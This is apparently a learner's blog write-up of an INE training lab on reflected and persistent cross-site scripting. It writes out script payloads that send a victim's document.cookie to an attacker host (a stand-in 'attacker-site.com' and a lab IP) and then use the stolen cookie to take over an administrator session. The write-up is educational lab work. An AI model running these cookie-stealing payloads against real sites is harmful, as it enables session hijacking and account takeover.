Penetration Testing #4 - XSS lab from INE free course

 

Introduction

Hello everyone!

Finally, it's time for the first serious web application attack and its name is XSS. This approach to breaking into the application is very smart. I mean, the idea behind Cross-Site Scripting is code injection. It works this way - every time we see an input field with a result printing on the screen we should check this field if it is safe from the XSS vulnerability. Take a look at this simple example of how XSS works and we will be good to go with the lab.

Here is the basic website that takes the input from the form and prints the "Hello <value from form>" statement. Look:

Let's think for a moment about how this trivial application prints the set of characters dynamically. Most likely it takes the input from the input field and pastes it to the print PHP function. The "hello" string will be put into the HTML code that is sent from the server to the client. Here is how the source of the application looks like:

It's obvious now that the value from the input is passed into the HTML's paragraph. The simple "User" string is an expected value that an average user can write in form. But let's think about what an attacker can do. For example, we can check if we can write something like <b>User</b> and if it will affect the result.

Now the "User" part of the string is bold! This is clear evidence that we can inject HTML code into the website! If we can carry out such an operation on a website, this website is vulnerable to the XSS attack. This vulnerability is divided into three types, Reflected XSS, Persistent XSS, and DOM-based XSS. I will describe the first two of them because the DOM-based XSS isn't mentioned in this lab. To be able to explain the reflected XSS I've created another simple website, but this time the input is taken from the GET request. The trivial web application that prints the name taken from the URL looks like this:

As the application tells us, let's try to pass a name inside the URL.

This is the HTML code from the web server response.

As you can see the situation is similar to the previous one - we can inject our input into the website code using the GET method. Let's try to inject some JS code and see if it's possible.

It's a little bit creepy that we can manipulate the content of the whole page, isn't it? With an appropriately crafted URL, we are able to customize the appearance of the website for example. But we can also exploit our leverage to steal session cookies! For example, this code will do it.

Imagine that we had used phishing and sent this URL example.com/index.php?name=<script>var i = new Image(); i.src="attacker-site.com/index.php?data="+document.cookie;</script> to the administrator of the example.com site. If he or she clicked on this URL, he or she will send a session cookie to the attacker. Then the site is already stolen. And this is an example of the reflected XSS attack. Its name is "reflected" because the injected code is executed immediately and it's not stored in the application forever - the code is executed only if a victim clicks on the specially crafted URL.

On the other hand, we have the persistent XSS attack. In this scenario, the injected code is stored inside the website and it's executed each time when someone visits a particular page of the application. The most popular scenario when a website could be vulnerable to the persistent XSS attack is when a place for a post or comment exists and users can add a text. The contents of comments or posts are stored inside a database of a web application. So when we visit a page with these exemplary comments a PHP script on a web server takes these comments from a database and throws them into the HTML code of the website. When this website available for comments is vulnerable to an XSS attack the injected script is stored inside the database and it's executed each time any user visits the comments page! Therefore persistent XSS attack is better than reflected XSS since we can simply wait for a victim without using any phishing techniques to convince.

I hope that everything is clear right now, so I will jump right into the lab.

The XSS lab from the INE free course

The description of the XSS lab

The goal of the XSS lab

The goal of this lab is clear - we have to steal the session cookie from the administrator. Let's see how the target website looks like.

The first thing that catches my eye is the search input field. It may be a good place to test for an XSS vulnerability.

This page prints the content of the search bar dynamically. It's a clear indicator that we may be dealing with an XSS vulnerability candidate. But this page can filter some malicious classes of character sets so we need to check if we are really able to inject a JS code for example.

If you write this code <script>alert("HACKED");</script> into the search bar the window will pop. This means that the code is injected properly and the website is vulnerable to the reflected XSS attack. So we've found our first XSS vulnerability but it's unuseful if we want to steal the session cookie from the administrator. Let's see what we have in the BLOG section of this site.

And here is another place that we should test for the XSS vulnerability! In the BLOG section of the website the comment section exists and maybe it's not immune to the persistent XSS. But first, we have to log in with the credentials from the lab description.

As you can see the comment section most likely isn't vulnerable to the persistent XSS because of filters. Now it's time to visit the contact page.

Ok, so we have a form with some input fields. Let's check if the blocking filters work the same as inside the comment section.

As you can see each time when you submit the form the content written inside it will be printed. Also, you have to remember that this text is stored inside a database of the website. This means that the contact section might be vulnerable to the persistent XSS attack. Let's find if our supposition is true.

The vulnerable input field in the form is Subject. It's now clear that the website is vulnerable to the persistent XSS and each time a user visits this page he or she sees an alert with the HACKED word inside it. Now it's time to steal the administrator's session cookie and own the application. The first thing to do is to type this code <script>var i = new Image();i.src="http://192.168.99.11/get.php?cookies="+document.cookie;</script> into the Subject filed of the form. If the administrator visits a webpage the web server sends the GET request to the 192.168.99.11/get.php with the cookies parameter set to stolen cookies. After clicking Submit Us we need to wait a few minutes until the administrator visits the Contact page. If this will happen, the script will be executed and the stolen session cookie will be written inside the jar.txt file on the attacker's website.

The last thing to do is to change our session cookie to the administrator's one and refresh the website. On Firefox you can click Inspect Element -> Storage -> Cookies and set the session cookie to the appropriate one.

And the website is in our hands! That was amazing fun and a fantastic learning path. We were able to use XSS for privilege escalation. This is evidence that XSS vulnerabilities are very dangerous and every web developer has to avoid them and be aware. From the security perspective, I would advise applying XSS filters in every potentially vulnerable input field on a website.

That would be all for today. The next post will be about an SQL injection yet another dangerous web application vulnerability. Thank you for reading.

Cheers!